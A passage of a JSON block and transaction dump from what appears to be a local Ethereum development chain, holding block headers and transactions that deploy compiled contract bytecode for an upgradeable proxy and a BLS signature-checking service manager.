ca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0x56d265428f41b7d289c0b47e8f35b49b989f87bf3f436f8d43ca53bb22ed0899","s":"0x2f25aa38005e8190fc880bdf0c4ef2d515a9b0681ccda7761be0697f7b25935","yParity":"0x1","hash":"0x4154efff037885fdbd446de052ff962a3268f9154c1ba5b93708572a33ee3503"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x4a6468117515eeca9ef7152e6c17181a371259f3daf9e7aaf0003e5ca3d2f178","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xf9e800dd48485b44c2d1e9a377545cfd3ef6ee6c7e3188ad06ebcdcb41f3d77f","transactionsRoot":"0x5762f6790723ed44e15d51a43ba63244fdcf53413858b981e7cd6ac841b98e8b","receiptsRoot":"0x689ea39ad42267df3318a449272c47ac03284a150700aff1c3609fa68dc9d482","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000800000000000000000000000000000000080000000000800000000000000000000000000000000000000000000000000000000000002000001000000000400000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400002010000100000000000000000000000000000020000000200000000000040000040000002000000000000000200020000000000000000000000000000000000000000000000000000000000100000000","difficulty":"0x0","number":"0x13","gasLimit":"0x1c9c380","gasUsed":"0x39702","timestamp":"0x6735270f","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x6cbef85","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x39","gas":"0x4aa3e","maxFeePerGas":"0x1172e753","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60806040526040516104d43803806104d4833981016040819052610022916102d1565b61002e82826000610035565b50506103ee565b61003e83610061565b60008251118061004b5750805b1561005c5761005a83836100a1565b505b505050565b61006a816100cd565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606100c683836040518060600160405280602781526020016104ad60279139610180565b9392505050565b6001600160a01b0381163b61013f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b60606001600160a01b0384163b6101e85760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610136565b600080856001600160a01b031685604051610203919061039f565b600060405180830381855af49150503d806000811461023e576040519150601f19603f3d011682016040523d82523d6000602084013e610243565b606091505b50909250905061025482828661025e565b9695505050505050565b6060831561026d5750816100c6565b82511561027d5782518084602001fd5b8160405162461bcd60e51b815260040161013691906103bb565b634e487b7160e01b600052604160045260246000fd5b60005b838110156102c85781810151838201526020016102b0565b50506000910152565b600080604083850312156102e457600080fd5b82516001600160a01b03811681146102fb57600080fd5b60208401519092506001600160401b038082111561031857600080fd5b818501915085601f83011261032c57600080fd5b81518181111561033e5761033e610297565b604051601f8201601f19908116603f0116810190838211818310171561036657610366610297565b8160405282815288602084870101111561037f57600080fd5b6103908360208301602088016102ad565b80955050505050509250929050565b600082516103b18184602087016102ad565b9190910192915050565b60208152600082518060208401526103da8160408501602087016102ad565b601f01601f19169190910160400192915050565b60b1806103fc6000396000f3fe608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212201b5f899d9100d05ffd16b26a8e94bf20e28dd085fba06b911d8ef847c76d3bf864736f6c63430008180033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000064c0c53b8b000000000000000000000000851356ae760d987e095750cceb3bc6014560891c00000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d99550000000000000000000000009965507d1a55bcc2695c58ba16fb37d819b0a4dc00000000000000000000000000000000000000000000000000000000","r":"0xdceb38fe507550bc9762570a00c0aa42717cea288fece1e0416e9e555cb26e93","s":"0x65f8fc33b57c2a32ddde545c8016785d1165e3f4f712a475c62e05084319a7fd","yParity":"0x1","hash":"0x88c577f71ae26c788d79d8a1b1591842278b806368ed8a8f0b765c25d8501eea"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x6321fa4ef0171ff7f598e2751288c3e08bdba1b4cbf1e0760e9cacd8a5b5f08c","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x84c2681735b94dd07c5a32487f5641d0455a04040a6fdf752e66fa4bb0a22660","transactionsRoot":"0x3f870dc0e9e10b01e977ba81209982747cd2ac07a1588b503c87fb94e8447e14","receiptsRoot":"0xf1fbe0e9be522e6a02e22330de7f182c63f415903e4d304cde617a52d11d5a52","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x11","gasLimit":"0x1c9c380","gasUsed":"0x46d01","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x8b973a9","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x37","gas":"0x5c087","maxFeePerGas":"0x13efc749","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x608060405234801561001057600080fd5b5060405161046a38038061046a83398101604081905261002f91610054565b600080546001600160a01b0319166001600160a01b0392909216919091179055610084565b60006020828403121561006657600080fd5b81516001600160a01b038116811461007d57600080fd5b9392505050565b6103d7806100936000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea2646970667358221220355151a18763854f71011cb9636c419bc4393ef5d1924777a929c1e19aaa390964736f6c634300080c0033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c","r":"0x28b617be950d8394db39cc5003f2736c7e3f18a7b50a64271cee7c750c967979","s":"0x66dd7d9a49ab6a22efb94705b0c89a8c8dd5fdd61d720bdbfed9256fbce76a1b","yParity":"0x0","hash":"0x50fd00fe762fce815221b3bb28e1a2fdbec79178a8de53708b64efbe3b151977"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0xa9f72c5b5ffaf32e279838792aa0da449aded47e8a47e198d40089a14c56b293","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x2d0b5ff537b3a8405337d4f3ddeec7ae5d2fdd93b28ffe46a101a0b89b0b1d4f","transactionsRoot":"0x466e046b1f2d3639232186d78625264701fa6ca5e9e817e1cb2f6cddb5c68312","receiptsRoot":"0x5faed81b97733161dc770b42a6ea71cd08538e0d4f7adfa9ff33bc556eda75d5","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0xc","gasLimit":"0x1c9c380","gasUsed":"0x513360","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0xfe404c9","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x31","gas":"0x69876c","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6101806040523480156200001257600080fd5b50604051620063e9380380620063e9833981016040819052620000359162000419565b6001600160a01b0380851660805280841660a05280831660c052811660e05281848482846200006362000341565b50505050806001600160a01b0316610100816001600160a01b031681525050806001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e7919062000481565b6001600160a01b0316610120816001600160a01b031681525050806001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000140573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000166919062000481565b6001600160a01b0316610140816001600160a01b031681525050610120516001600160a01b031663df5cf7236040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e8919062000481565b6001600160a01b0390811661016052851690506200023d57604051630b0f5aa160e11b815260206004820152600c60248201526b6176734469726563746f727960a01b60448201526064015b60405180910390fd5b6001600160a01b0383166200028b57604051630b0f5aa160e11b81526020600482015260126024820152713932bbb0b93239a1b7b7b93234b730ba37b960711b604482015260640162000234565b6001600160a01b038216620002e457604051630b0f5aa160e11b815260206004820152601360248201527f7265676973747279436f6f7264696e61746f7200000000000000000000000000604482015260640162000234565b6001600160a01b0381166200032d57604051630b0f5aa160e11b815260206004820152600d60248201526c7374616b65526567697374727960981b604482015260640162000234565b6200033762000341565b50505050620004a8565b600054610100900460ff1615620003ab5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840162000234565b60005460ff9081161015620003fe576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146200041657600080fd5b50565b600080600080608085870312156200043057600080fd5b84516200043d8162000400565b6020860151909450620004508162000400565b6040860151909350620004638162000400565b6060860151909250620004768162000400565b939692955090935050565b6000602082840312156200049457600080fd5b8151620004a18162000400565b9392505050565b60805160a05160c05160e05161010051610120516101405161016051615e33620005b6600039600081816108390152611d8c01526000818161056a0152611f9f01526000818161059e0152818161218c015261237c0152600081816106050152818161159201528181611a5201528181611bf90152611e400152600081816112ca0152818161141b015281816114b201528181613045015281816131be015261325d0152600081816110f10152818161118001528181611200015281816127dc015281816128a801528181612f80015261311901526000818161397f01528181613a3b0152613b1e0152600081816105cf015281816128300152818161290401526129830152615e336000f3fe60806040526004361061028c5760003560e01c8063800fb61f1161015a578063df5cf723116100c1578063f9120af61161007a578063f9120af6146108f3578063fa534dc014610913578063fabc1cbc14610933578063fc299dee14610953578063fce36c7d14610973578063fd4c3b7c1461099357600080fd5b8063df5cf72314610827578063e481af9d1461085b578063ea5ca34b14610870578063f2fde38b14610886578063f474b520146108a6578063f7013ef6146108d357600080fd5b8063a98fb35511610113578063a98fb35514610730578063ab21739a14610750578063b099627e14610770578063b753645e146107da578063b98d0908146107fa578063d66eaabd1461081457600080fd5b8063800fb61f14610672578063886f1195146106925780638da5cb5b146106b257806395c6d604146106d05780639926ee7d146106f0578063a364f4da1461071057600080fd5b80634223d551116101fe5780635df45946116101b75780635df4594614610558578063683048351461058c5780636b3aa72e146105c05780636d14a987146105f357806370a0823114610627578063715018a61461065d57600080fd5b80634223d5511461047b5780634a5bf6321461048e5780634ae07c37146104c6578063595c6a67146104f45780635ac86ab7146105095780635c975abb1461053957600080fd5b806318daeeaf1161025057806318daeeaf146103ae5780632585b25b146103ce5780632e1a7d4d146103ee57806333cfb7b71461040e5780633bc28c8c1461043b578063416c7e5e1461045b57600080fd5b806306045a91146102d357806310d67a2f14610308578063136439dd14610328578063137122b514610348578063171f1d5b1461037757600080fd5b366102ce5760fc546005906020908116036102c25760405162461bcd60e51b81526004016102b990614b81565b60405180910390fd5b6102cc33346109b3565b005b600080fd5b3480156102df57600080fd5b506102f36102ee366004614cf4565b610a43565b60405190151581526020015b60405180910390f35b34801561031457600080fd5b506102cc610323366004614d86565b610b65565b34801561033457600080fd5b506102cc610343366004614da3565b610c18565b34801561035457600080fd5b506102f3610363366004614dcb565b60cc54600160ff9092169190911b16151590565b34801561038357600080fd5b50610397610392366004614ea8565b610d57565b6040805192151583529015156020830152016102ff565b3480156103ba57600080fd5b506102cc6103c9366004614dcb565b610ee1565b3480156103da57600080fd5b506102cc6103e9366004614ef9565b610f29565b3480156103fa57600080fd5b506102cc610409366004614da3565b610fcb565b34801561041a57600080fd5b5061042e610429366004614d86565b6110cc565b6040516102ff9190614f25565b34801561044757600080fd5b506102cc610456366004614d86565b61157f565b34801561046757600080fd5b506102cc610476366004614f80565b611590565b6102cc610489366004614d86565b6116c7565b34801561049a57600080fd5b5060cb546104ae906001600160a01b031681565b6040516001600160a01b0390911681526020016102ff565b3480156104d257600080fd5b506104e66104e136600461525b565b6116fd565b6040516102ff9291906152f6565b34801561050057600080fd5b506102cc612631565b34801561051557600080fd5b506102f3610524366004614dcb565b60fc54600160ff9092169190911b9081161490565b34801561054557600080fd5b5060fc545b6040519081526020016102ff565b34801561056457600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561059857600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b3480156105cc57600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006104ae565b3480156105ff57600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561063357600080fd5b5061054a610642366004614d86565b6001600160a01b0316600090815260ca602052604090205490565b34801561066957600080fd5b506102cc6126f8565b34801561067e57600080fd5b506102cc61068d366004614d86565b61270c565b34801561069e57600080fd5b5060fb546104ae906001600160a01b031681565b3480156106be57600080fd5b506033546001600160a01b03166104ae565b3480156106dc57600080fd5b506102f36106eb366004615387565b6127ac565b3480156106fc57600080fd5b506102cc61070b3660046153d2565b6127d1565b34801561071c57600080fd5b506102cc61072b366004614d86565b61289d565b34801561073c57600080fd5b506102cc61074b36600461547d565b612964565b34801561075c57600080fd5b506102cc61076b3660046154cd565b6129b8565b34801561077c57600080fd5b506107b861078b366004614da3565b60c9602052600090815260409020805460019091015463ffffffff821691640100000000900460ff169083565b6040805163ffffffff90941684529115156020840152908201526060016102ff565b3480156107e657600080fd5b506102cc6107f5366004614da3565b612d8a565b34801561080657600080fd5b506097546102f39060ff1681565b6102cc6108223660046154f4565b612d97565b34801561083357600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561086757600080fd5b5061042e612f7a565b34801561087c57600080fd5b5061054a60cc5481565b34801561089257600080fd5b506102cc6108a1366004614d86565b613326565b3480156108b257600080fd5b5061054a6108c1366004614d86565b60ca6020526000908152604090205481565b3480156108df57600080fd5b506102cc6108ee366004615546565b61339c565b3480156108ff57600080fd5b506102cc61090e366004614d86565b613575565b34801561091f57600080fd5b506102f361092e3660046155aa565b61359f565b34801561093f57600080fd5b506102cc61094e366004614da3565b61364a565b34801561095f57600080fd5b506065546104ae906001600160a01b031681565b34801561097f57600080fd5b506102cc61098e366004615627565b6137a6565b34801561099f57600080fd5b506102cc6109ae366004614dcb565b613b55565b806000036109d757604051632097692160e11b8152600481018290526024016102b9565b6001600160a01b038216600090815260ca6020526040812080548392906109ff9084906156b1565b90915550506001600160a01b038216600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a25050565b60fc54600090600290600490811603610a6e5760405162461bcd60e51b81526004016102b990614b81565b60006001600160a01b038416610a85575085610ab1565b8684604051602001610a989291906156c4565b6040516020818303038152906040528051906020012090505b600081815260c9602052604081205463ffffffff169003610ad6576000925050610b58565b600081815260c96020526040902054640100000000900460ff16610afe576000925050610b58565b60408051602081018d90529081018b9052606081018a90526001600160601b03198916608082015260009060940160408051601f1981840301815291905280516020820120909150610b52888a838a613b9c565b94505050505b5098975050505050505050565b60fb60009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdc91906156df565b6001600160a01b0316336001600160a01b031614610c0c5760405162461bcd60e51b81526004016102b9906156fc565b610c1581613bb4565b50565b60fb5460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610c60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c849190615746565b610ca05760405162461bcd60e51b81526004016102b990615763565b60fc5481811614610d195760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c697479000000000000000060648201526084016102b9565b60fc81905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60008060007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000187876000015188602001518860000151600060028110610d9f57610d9f6157ab565b60200201518951600160200201518a60200151600060028110610dc457610dc46157ab565b60200201518b60200151600160028110610de057610de06157ab565b602090810291909101518c518d830151604051610e3d9a99989796959401988952602089019790975260408801959095526060870193909352608086019190915260a085015260c084015260e08301526101008201526101200190565b6040516020818303038152906040528051906020012060001c610e6091906157c1565b9050610ed3610e79610e728884613cab565b8690613d3c565b610e81613dd1565b610ec9610eba85610eb4604080518082018252600080825260209182015281518083019092526001825260029082015290565b90613cab565b610ec38c613e91565b90613d3c565b886201d4c0613f20565b909890975095505050505050565b610ee961413a565b60cc8054600160ff841690811b199091169091556040517f5f52704e8e0190647930ccde0e43e14e89902d7d8c49c5f9e2544029f45ec12a90600090a250565b600054600390610100900460ff16158015610f4b575060005460ff8083169116105b610f675760405162461bcd60e51b81526004016102b9906157e3565b6000805461ffff191660ff831617610100179055610f858383614194565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050565b60fc54600390600890811603610ff35760405162461bcd60e51b81526004016102b990614b81565b33600090815260ca60205260409020548211156110445733600081815260ca602052604090819020549051632e2a182f60e11b815260048101929092526024820184905260448201526064016102b9565b33600090815260ca602052604081208054849290611063908490615831565b909155505033600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a2604051339083156108fc029084906000818181858888f193505050501580156110c7573d6000803e3d6000fd5b505050565b6040516309aa152760e11b81526001600160a01b0382811660048301526060916000917f000000000000000000000000000000000000000000000000000000000000000016906313542a4e90602401602060405180830381865afa158015611138573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115c9190615844565b60405163871ef04960e01b8152600481018290529091506000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063871ef04990602401602060405180830381865afa1580156111c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111eb919061585d565b90506001600160c01b038116158061128557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112809190615886565b60ff16155b156112a55760408051600080825260208201909252905b50949350505050565b60006112b9826001600160c01b031661427a565b90506000805b8251811015611385577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633ca5a5f5848381518110611309576113096157ab565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa15801561134d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113719190615844565b61137b90836156b1565b91506001016112bf565b506000816001600160401b038111156113a0576113a0614bd0565b6040519080825280602002602001820160405280156113c9578160200160208202803683370190505b5090506000805b84518110156115725760008582815181106113ed576113ed6157ab565b0160200151604051633ca5a5f560e01b815260f89190911c6004820181905291506000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633ca5a5f590602401602060405180830381865afa158015611462573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114869190615844565b905060005b81811015611567576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa158015611500573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152491906158b8565b6000015186868151811061153a5761153a6157ab565b6001600160a01b03909216602092830291909101909101528461155c816158f9565b95505060010161148b565b5050506001016113d0565b5090979650505050505050565b61158761413a565b610c158161433c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161291906156df565b6001600160a01b0316336001600160a01b0316146116be5760405162461bcd60e51b815260206004820152605c60248201527f424c535369676e6174757265436865636b65722e6f6e6c79436f6f7264696e6160448201527f746f724f776e65723a2063616c6c6572206973206e6f7420746865206f776e6560648201527f72206f6620746865207265676973747279436f6f7264696e61746f7200000000608482015260a4016102b9565b610c15816143a5565b60fc546004906010908116036116ef5760405162461bcd60e51b81526004016102b990614b81565b6116f982346109b3565b5050565b6040805180820190915260608082526020820152600082604001515160405180604001604052806001815260200160008152505114801561175957508260a0015151604051806040016040528060018152602001600081525051145b801561178057508260c0015151604051806040016040528060018152602001600081525051145b80156117a757508260e0015151604051806040016040528060018152602001600081525051145b6118115760405162461bcd60e51b81526020600482015260416024820152600080516020615dde83398151915260448201527f7265733a20696e7075742071756f72756d206c656e677468206d69736d6174636064820152600d60fb1b608482015260a4016102b9565b825151602084015151146118895760405162461bcd60e51b815260206004820152604460248201819052600080516020615dde833981519152908201527f7265733a20696e707574206e6f6e7369676e6572206c656e677468206d69736d6064820152630c2e8c6d60e31b608482015260a4016102b9565b4363ffffffff168463ffffffff16106118f85760405162461bcd60e51b815260206004820152603c6024820152600080516020615dde83398151915260448201527f7265733a20696e76616c6964207265666572656e636520626c6f636b0000000060648201526084016102b9565b60408051808201825260008082526020808301829052835180850185526060808252818301528451808601865260018082529083019390935284518381528086019095529293919082810190803683370190505060208281019190915260408051808201825260018082526000919093015280518281528082019091529081602001602082028036833701905050815260408051808201909152606080825260208201528560200151516001600160401b038111156119b9576119b9614bd0565b6040519080825280602002602001820160405280156119e2578160200160208202803683370190505b5081526020860151516001600160401b03811115611a0257611a02614bd0565b604051908082528060200260200182016040528015611a2b578160200160208202803683370190505b5081602001819052506000611ad760405180604001604052806001815260200160008152507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad29190615886565b6143ec565b905060005b876020015151811015611d6857611b2188602001518281518110611b0257611b026157ab565b6020026020010151805160009081526020918201519091526040902090565b83602001518281518110611b3757611b376157ab565b60209081029190910101528015611bf7576020830151611b58600183615831565b81518110611b6857611b686157ab565b602002602001015160001c83602001518281518110611b8957611b896157ab565b602002602001015160001c11611bf7576040805162461bcd60e51b8152602060048201526024810191909152600080516020615dde83398151915260448201527f7265733a206e6f6e5369676e65725075626b657973206e6f7420736f7274656460648201526084016102b9565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166304ec635184602001518381518110611c3c57611c3c6157ab565b60200260200101518b8b600001518581518110611c5b57611c5b6157ab565b60200260200101516040518463ffffffff1660e01b8152600401611c989392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa158015611cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cd9919061585d565b6001600160c01b031683600001518281518110611cf857611cf86157ab565b602002602001018181525050611d5e610e72611d328486600001518581518110611d2457611d246157ab565b60200260200101511661447f565b8a602001518481518110611d4857611d486157ab565b60200260200101516144aa90919063ffffffff16565b9450600101611adc565b5050611d738361458d565b60975490935060ff16600081611d8a576000611e0c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c448feb86040518163ffffffff1660e01b8152600401602060405180830381865afa158015611de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0c9190615844565b905060005b604051806040016040528060018152602001600081525051811015612502578215611f9d578963ffffffff16827f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663249a0c4260405180604001604052806001815260200160008152508581518110611e9557611e956157ab565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015611ed9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611efd9190615844565b611f0791906156b1565b11611f9d5760405162461bcd60e51b81526020600482015260666024820152600080516020615dde83398151915260448201527f7265733a205374616b6552656769737472792075706461746573206d7573742060648201527f62652077697468696e207769746864726177616c44656c6179426c6f636b732060848201526577696e646f7760d01b60a482015260c4016102b9565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166368bccaac60405180604001604052806001815260200160008152508381518110611ff457611ff46157ab565b602001015160f81c60f81b60f81c8c8c60a001518581518110612019576120196157ab565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015612075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120999190615912565b6001600160401b0319166120bc8a604001518381518110611b0257611b026157ab565b67ffffffffffffffff1916146121585760405162461bcd60e51b81526020600482015260616024820152600080516020615dde83398151915260448201527f7265733a2071756f72756d41706b206861736820696e2073746f72616765206460648201527f6f6573206e6f74206d617463682070726f76696465642071756f72756d2061706084820152606b60f81b60a482015260c4016102b9565b61218889604001518281518110612171576121716157ab565b602002602001015187613d3c90919063ffffffff16565b95507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c